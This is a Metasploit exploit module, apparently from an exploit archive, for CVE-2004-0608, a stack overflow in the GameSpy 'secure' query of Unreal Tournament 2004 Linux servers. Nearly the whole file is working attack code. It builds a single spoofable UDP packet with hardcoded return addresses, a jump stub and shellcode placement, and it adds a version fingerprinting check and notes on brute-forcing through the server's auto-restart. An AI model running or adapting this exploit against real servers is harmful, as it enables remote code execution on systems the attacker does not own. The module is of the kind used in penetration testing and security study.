Unreal Tournament 2004 - 'secure' Overflow (Linux)



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# $Id: ut2004_secure.rb 10394 2010-09-20 08:06:27Z jduck $
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require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Udp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Unreal Tournament 2004 "secure" Overflow (Linux)',
            'Description'    => %q{
                    This is an exploit for the GameSpy secure query in
                the Unreal Engine.

                This exploit only requires one UDP packet, which can
                be both spoofed and sent to a broadcast address.
                Usually, the GameSpy query server listens on port 7787,
                but you can manually specify the port as well.

                The RunServer.sh script will automatically restart the
                server upon a crash, giving us the ability to
                bruteforce the service and exploit it multiple
                times.
            },
            'Author'         => [ 'onetwo' ],
            'License'        => BSD_LICENSE,
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'CVE', '2004-0608'],
                    [ 'OSVDB', '7217'],
                    [ 'BID', '10570'],

                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 512,
                    'BadChars' => "\x5c\x00",

                },
            'Platform'       => 'linux',
            'Targets'        =>
                [
                    ['UT2004 Linux Build 3120', { 'Rets' => [ 0x0884a33b, 0x08963460 ] }], #JMP ESP , (free/realloc) BSS pointer
                    ['UT2004 Linux Build 3186', { 'Rets' => [ 0x088c632f, 0x089eb2f0 ] }],
                ],
            'DisclosureDate' => 'Jun 18 2004'))

        register_options(
            [
                Opt::RPORT(7787)
            ], self.class)
    end

    def exploit
        connect_udp

        buf = make_nops(1024)
        buf[24, 4] = [target['Rets'][1]].pack('V')
        buf[44, 4] = [target['Rets'][0]].pack('V')
        buf[56, 4] = [target['Rets'][1]].pack('V')
        buf[48, 6] = "\x8d\x64\x24\x0c\xff\xe4" #LEA/JMP

        buf[0,  8] = "\\secure\\"
        buf[buf.length - payload.encoded.length, payload.encoded.length] = payload.encoded

        udp_sock.put(buf)

        handler
        disconnect_udp
    end

    def ut_version
        connect_udp
        udp_sock.put("\\basic\\")
        res = udp_sock.recvfrom(8192)
        disconnect_udp

        if (res and (m=res.match(/\\gamever\\([0-9]{1,5})/)))
            return m[1]
        end

        return
    end

    def check
        vers = ut_version

        if (not vers)
            print_status("Could not detect Unreal Tournament Server")
            return
        end

        print_status("Detected Unreal Tournament Server Version: #{vers}")
        if (vers =~ /^(3120|3186|3204)$/)
            print_status("This system appears to be exploitable")
            return Exploit::CheckCode::Appears
        end


        if (vers =~ /^(2...)$/)
            print_status("This system appears to be running UT2003")
            return Exploit::CheckCode::Detected
        end

        print_status("This system appears to be patched")
        return Exploit::CheckCode::Safe
    end

end